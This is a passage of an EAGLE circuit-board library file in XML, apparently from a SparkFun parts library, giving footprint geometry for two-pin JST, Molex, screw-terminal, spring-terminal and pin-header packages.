name=\"NC2\" x=\"3.4\" y=\"1.5\" dx=\"3.4\" dy=\"1.6\" layer=\"1\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"0\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n<text x=\"2.159\" y=\"-4.445\" size=\"1.27\" layer=\"51\">+</text>\n<text x=\"-2.921\" y=\"-4.445\" size=\"1.27\" layer=\"51\">-</text>\n</package>\n<package name=\"1X02_BIG\">\n<wire x1=\"-1.27\" y1=\"1.27\" x2=\"-1.27\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-1.27\" x2=\"5.08\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-1.27\" x2=\"5.08\" y2=\"1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"1.27\" x2=\"-1.27\" y2=\"1.27\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"P$1\" x=\"0\" y=\"0\" drill=\"1.0668\"/>\n<pad name=\"P$2\" x=\"3.81\" y=\"0\" drill=\"1.0668\"/>\n</package>\n<package name=\"JST-2-SMD-VERT\">\n<wire x1=\"-4.1\" y1=\"2.97\" x2=\"4.2\" y2=\"2.97\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"4.2\" y1=\"2.97\" x2=\"4.2\" y2=\"-2.13\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"4.2\" y1=\"-2.13\" x2=\"-4.1\" y2=\"-2.13\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.1\" y1=\"-2.13\" x2=\"-4.1\" y2=\"2.97\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.1\" y1=\"3\" x2=\"4.2\" y2=\"3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.2\" y1=\"3\" x2=\"4.2\" y2=\"2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4.1\" y1=\"3\" x2=\"-4.1\" y2=\"2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2\" y1=\"-2.1\" x2=\"4.2\" y2=\"-2.1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.2\" y1=\"-2.1\" x2=\"4.2\" y2=\"-1.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2\" y1=\"-2.1\" x2=\"-4.1\" y2=\"-2.1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4.1\" y1=\"-2.1\" x2=\"-4.1\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"-3.4\" y=\"0.27\" dx=\"3\" dy=\"1.6\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"P$2\" x=\"3.4\" y=\"0.27\" dx=\"3\" dy=\"1.6\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"VCC\" x=\"-1\" y=\"-2\" dx=\"1\" dy=\"5.5\" layer=\"1\"/>\n<smd name=\"GND\" x=\"1\" y=\"-2\" dx=\"1\" dy=\"5.5\" layer=\"1\"/>\n<text x=\"2.54\" y=\"-5.08\" size=\"1.27\" layer=\"25\">&gt;Name</text>\n<text x=\"2.24\" y=\"3.48\" size=\"1.27\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"R_SW_TH\">\n<wire x1=\"-1.651\" y1=\"19.2532\" x2=\"-1.651\" y2=\"-1.3716\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.651\" y1=\"-1.3716\" x2=\"-1.651\" y2=\"-2.2352\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.651\" y1=\"19.2532\" x2=\"13.589\" y2=\"19.2532\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.589\" y1=\"19.2532\" x2=\"13.589\" y2=\"-2.2352\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.589\" y1=\"-2.2352\" x2=\"-1.651\" y2=\"-2.2352\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"P$1\" x=\"0\" y=\"0\" drill=\"1.6002\"/>\n<pad name=\"P$2\" x=\"0\" y=\"16.9926\" drill=\"1.6002\"/>\n<pad name=\"P$3\" x=\"12.0904\" y=\"15.494\" drill=\"1.6002\"/>\n<pad name=\"P$4\" x=\"12.0904\" y=\"8.4582\" drill=\"1.6002\"/>\n</package>\n<package name=\"SCREWTERMINAL-5MM-2\">\n<wire x1=\"-3.1\" y1=\"4.2\" x2=\"8.1\" y2=\"4.2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"4.2\" x2=\"8.1\" y2=\"-2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"-2.3\" x2=\"8.1\" y2=\"-3.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"-3.3\" x2=\"-3.1\" y2=\"-3.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"-3.3\" x2=\"-3.1\" y2=\"-2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"-2.3\" x2=\"-3.1\" y2=\"4.2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"-2.3\" x2=\"-3.1\" y2=\"-2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"-1.35\" x2=\"-3.7\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3.7\" y1=\"-1.35\" x2=\"-3.7\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3.7\" y1=\"-2.35\" x2=\"-3.1\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"8.1\" y1=\"4\" x2=\"8.7\" y2=\"4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"8.7\" y1=\"4\" x2=\"8.7\" y2=\"3\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"8.7\" y1=\"3\" x2=\"8.1\" y2=\"3\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"2.5\" y=\"3.7\" radius=\"0.2828\" width=\"0.127\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.3\" diameter=\"2.032\" shape=\"square\"/>\n<pad name=\"2\" x=\"5\" y=\"0\" drill=\"1.3\" diameter=\"2.032\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"1X02_LOCK\">\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.905\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"3.175\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"3.81\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.635\" x2=\"3.175\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-1.27\" x2=\"1.905\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-1.27\" x2=\"1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0.635\" x2=\"3.81\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-0.1778\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.7178\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.2921\" y1=\"-0.2921\" x2=\"0.2921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.2921\" x2=\"2.8321\" y2=\"0.2921\" layer=\"51\"/>\n</package>\n<package name=\"MOLEX-1X2_LOCK\">\n<wire x1=\"-1.27\" y1=\"3.048\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"3.048\" x2=\"3.81\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"3.048\" x2=\"-1.27\" y2=\"3.048\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-2.54\" x2=\"2.54\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-2.54\" x2=\"0\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"0\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-1.27\" x2=\"2.54\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-1.27\" x2=\"2.54\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"1\" x=\"-0.127\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"square\"/>\n<pad name=\"2\" x=\"2.667\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\"/>\n<rectangle x1=\"-0.2921\" y1=\"-0.2921\" x2=\"0.2921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.2921\" x2=\"2.8321\" y2=\"0.2921\" layer=\"51\"/>\n</package>\n<package name=\"1X02_LOCK_LONGPADS\">\n<description>This footprint was designed to help hold the alignment of a through-hole component (i.e.  6-pin header) while soldering it into place.  \nYou may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).  \nThis slight alteration caused the pins (the squares in the middle) to touch the edges of the holes.  Because they are alternating, it causes a \"brace\" \nto hold the component in place.  0.005 has proven to be the perfect amount of \"off-center\" position when using our standard breakaway headers.\nAlthough looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice.  Also,\nif you push a header all the way into place, it is covered up entirely on the bottom side.  This idea of altering the position of holes to aid alignment \nwill be further integrated into the Sparkfun Library for other footprints.  It can help hold any component with 3 or more connection pins.</description>\n<wire x1=\"1.651\" y1=\"0\" x2=\"0.889\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.016\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.9906\" x2=\"-0.9906\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"-0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.9906\" x2=\"-0.9906\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.556\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.81\" y2=\"-0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.9906\" x2=\"3.5306\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.81\" y2=\"0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0.9906\" x2=\"3.5306\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-0.127\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.667\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"1.778\" size=\"1.27\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.302\" size=\"1.27\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.2921\" y1=\"-0.2921\" x2=\"0.2921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.2921\" x2=\"2.8321\" y2=\"0.2921\" layer=\"51\"/>\n</package>\n<package name=\"SCREWTERMINAL-3.5MM-2_LOCK\">\n<wire x1=\"-1.75\" y1=\"3.4\" x2=\"5.25\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"3.4\" x2=\"5.25\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"5.25\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-2.8\" x2=\"-1.75\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-2.35\" x2=\"-1.75\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"3.15\" x2=\"5.65\" y2=\"3.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"3.15\" x2=\"5.65\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"2.15\" x2=\"5.25\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"2\" y=\"3\" radius=\"0.2828\" width=\"0.127\" layer=\"51\"/>\n<circle x=\"0\" y=\"0\" radius=\"0.4318\" width=\"0.0254\" layer=\"51\"/>\n<circle x=\"3.5\" y=\"0\" radius=\"0.4318\" width=\"0.0254\" layer=\"51\"/>\n<pad name=\"1\" x=\"-0.1778\" y=\"0\" drill=\"1.2\" diameter=\"2.032\" shape=\"square\"/>\n<pad name=\"2\" x=\"3.6778\" y=\"0\" drill=\"1.2\" diameter=\"2.032\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"1X02_LONGPADS\">\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.1176\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.1176\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n</package>\n<package name=\"1X02_NO_SILK\">\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"JST-2-PTH\">\n<wire x1=\"-2\" y1=\"0\" x2=\"-2\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2\" y1=\"-1.8\" x2=\"-3\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3\" y1=\"-1.8\" x2=\"-3\" y2=\"6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3\" y1=\"6\" x2=\"3\" y2=\"6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3\" y1=\"6\" x2=\"3\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3\" y1=\"-1.8\" x2=\"2\" y2=\"-1.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2\" y1=\"-1.8\" x2=\"2\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-1\" y=\"0\" drill=\"0.7\" diameter=\"1.4478\"/>\n<pad name=\"2\" x=\"1\" y=\"0\" drill=\"0.7\" diameter=\"1.4478\"/>\n<text x=\"-1.27\" y=\"5.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"4\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n<text x=\"0.6\" y=\"0.7\" size=\"1.27\" layer=\"51\">+</text>\n<text x=\"-1.4\" y=\"0.7\" size=\"1.27\" layer=\"51\">-</text>\n</package>\n<package name=\"1X02_XTRA_BIG\">\n<wire x1=\"-5.08\" y1=\"2.54\" x2=\"-5.08\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"-2.54\" x2=\"5.08\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-2.54\" x2=\"5.08\" y2=\"2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"2.54\" x2=\"-5.08\" y2=\"2.54\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"2.0574\" diameter=\"3.556\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"2.0574\" diameter=\"3.556\"/>\n</package>\n<package name=\"1X02_PP_HOLES_ONLY\">\n<circle x=\"0\" y=\"0\" radius=\"0.635\" width=\"0.127\" layer=\"51\"/>\n<circle x=\"2.54\" y=\"0\" radius=\"0.635\" width=\"0.127\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"0.889\" diameter=\"0.8128\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.889\" diameter=\"0.8128\" rot=\"R90\"/>\n<hole x=\"0\" y=\"0\" drill=\"1.4732\"/>\n<hole x=\"2.54\" y=\"0\" drill=\"1.4732\"/>\n</package>\n<package name=\"SCREWTERMINAL-3.5MM-2-NS\">\n<wire x1=\"-1.75\" y1=\"3.4\" x2=\"5.25\" y2=\"3.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"3.4\" x2=\"5.25\" y2=\"-2.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"5.25\" y2=\"-3.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-3.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.75\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.75\" y1=\"-2.8\" x2=\"-1.75\" y2=\"3.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.75\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-2.35\" x2=\"-1.75\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"3.15\" x2=\"5.65\" y2=\"3.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"3.15\" x2=\"5.65\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"2.15\" x2=\"5.25\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"2\" y=\"3\" radius=\"0.2828\" width=\"0.127\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.2\" diameter=\"2.032\" shape=\"square\"/>\n<pad name=\"2\" x=\"3.5\" y=\"0\" drill=\"1.2\" diameter=\"2.032\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"JST-2-PTH-NS\">\n<wire x1=\"-2\" y1=\"0\" x2=\"-2\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2\" y1=\"-1.8\" x2=\"-3\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3\" y1=\"-1.8\" x2=\"-3\" y2=\"6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3\" y1=\"6\" x2=\"3\" y2=\"6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"3\" y1=\"6\" x2=\"3\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"3\" y1=\"-1.8\" x2=\"2\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2\" y1=\"-1.8\" x2=\"2\" y2=\"0\" width=\"0.2032\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1\" y=\"0\" drill=\"0.7\" diameter=\"1.4478\"/>\n<pad name=\"2\" x=\"1\" y=\"0\" drill=\"0.7\" diameter=\"1.4478\"/>\n<text x=\"-1.27\" y=\"5.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"4\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n<text x=\"0.6\" y=\"0.7\" size=\"1.27\" layer=\"51\">+</text>\n<text x=\"-1.4\" y=\"0.7\" size=\"1.27\" layer=\"51\">-</text>\n</package>\n<package name=\"JST-2-PTH-KIT\">\n<description>&lt;H3&gt;JST-2-PTH-KIT&lt;/h3&gt;\n2-Pin JST, through-hole connector&lt;br&gt;\n&lt;br&gt;\n&lt;b&gt;Warning:&lt;/b&gt; This is the KIT version of this package. This package has a smaller diameter top stop mask, which doesn't cover the diameter of the pad. This means only the bottom side of the pads' copper will be exposed. You'll only be able to solder to the bottom side.</description>\n<wire x1=\"-2\" y1=\"0\" x2=\"-2\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2\" y1=\"-1.8\" x2=\"-3\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3\" y1=\"-1.8\" x2=\"-3\" y2=\"6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3\" y1=\"6\" x2=\"3\" y2=\"6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"3\" y1=\"6\" x2=\"3\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"3\" y1=\"-1.8\" x2=\"2\" y2=\"-1.8\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2\" y1=\"-1.8\" x2=\"2\" y2=\"0\" width=\"0.2032\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1\" y=\"0\" drill=\"0.7\" diameter=\"1.4478\" stop=\"no\"/>\n<pad name=\"2\" x=\"1\" y=\"0\" drill=\"0.7\" diameter=\"1.4478\" stop=\"no\"/>\n<text x=\"-1.27\" y=\"5.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"4\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n<text x=\"0.6\" y=\"0.7\" size=\"1.27\" layer=\"51\">+</text>\n<text x=\"-1.4\" y=\"0.7\" size=\"1.27\" layer=\"51\">-</text>\n<polygon width=\"0.127\" layer=\"30\">\n<vertex x=\"-0.9975\" y=\"-0.6604\" curve=\"-90.025935\"/>\n<vertex x=\"-1.6604\" y=\"0\" curve=\"-90.017354\"/>\n<vertex x=\"-1\" y=\"0.6604\" curve=\"-90\"/>\n<vertex x=\"-0.3396\" y=\"0\" curve=\"-90.078137\"/>\n</polygon>\n<polygon width=\"0.127\" layer=\"29\">\n<vertex x=\"-1\" y=\"-0.2865\" curve=\"-90.08005\"/>\n<vertex x=\"-1.2865\" y=\"0\" curve=\"-90.040011\"/>\n<vertex x=\"-1\" y=\"0.2865\" curve=\"-90\"/>\n<vertex x=\"-0.7135\" y=\"0\" curve=\"-90\"/>\n</polygon>\n<polygon width=\"0.127\" layer=\"30\">\n<vertex x=\"1.0025\" y=\"-0.6604\" curve=\"-90.025935\"/>\n<vertex x=\"0.3396\" y=\"0\" curve=\"-90.017354\"/>\n<vertex x=\"1\" y=\"0.6604\" curve=\"-90\"/>\n<vertex x=\"1.6604\" y=\"0\" curve=\"-90.078137\"/>\n</polygon>\n<polygon width=\"0.127\" layer=\"29\">\n<vertex x=\"1\" y=\"-0.2865\" curve=\"-90.08005\"/>\n<vertex x=\"0.7135\" y=\"0\" curve=\"-90.040011\"/>\n<vertex x=\"1\" y=\"0.2865\" curve=\"-90\"/>\n<vertex x=\"1.2865\" y=\"0\" curve=\"-90\"/>\n</polygon>\n</package>\n<package name=\"SPRINGTERMINAL-2.54MM-2\">\n<wire x1=\"-4.2\" y1=\"7.88\" x2=\"-4.2\" y2=\"-2.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-4.2\" y1=\"-2.8\" x2=\"-4.2\" y2=\"-4.72\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-4.2\" y1=\"-4.72\" x2=\"3.44\" y2=\"-4.72\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"3.44\" y1=\"-4.72\" x2=\"3.44\" y2=\"-2.8\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"3.44\" y1=\"7.88\" x2=\"-4.2\" y2=\"7.88\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"0\" y2=\"5.08\" width=\"0.254\" layer=\"1\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"0\" y2=\"5.08\" width=\"0.254\" layer=\"16\"/>\n<wire x1=\"2.54\" y1=\"0\" x2=\"2.54\" y2=\"5.08\" width=\"0.254\" layer=\"16\"/>\n<wire x1=\"2.54\" y1=\"0\" x2=\"2.54\" y2=\"5.08\" width=\"0.254\" layer=\"1\"/>\n<wire x1=\"-4.2\" y1=\"-2.8\" x2=\"3.44\" y2=\"-2.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.44\" y1=\"4\" x2=\"3.44\" y2=\"1\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.44\" y1=\"7.88\" x2=\"3.44\" y2=\"6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.44\" y1=\"-0.9\" x2=\"3.44\" y2=\"-2.8\" width=\"0.254\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.1\" diameter=\"1.9\"/>\n<pad name=\"P$2\" x=\"0\" y=\"5.08\" drill=\"1.1\" diameter=\"1.9\"/>\n<pad name=\"P$3\" x=\"2.54\" y=\"5.08\" drill=\"1.1\" diameter=\"1.9\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.1\" diameter=\"1.9\"/>\n</package>\n<package name=\"1X03\">\n<wire x1=\"3.81\" y1=\"0.635\" 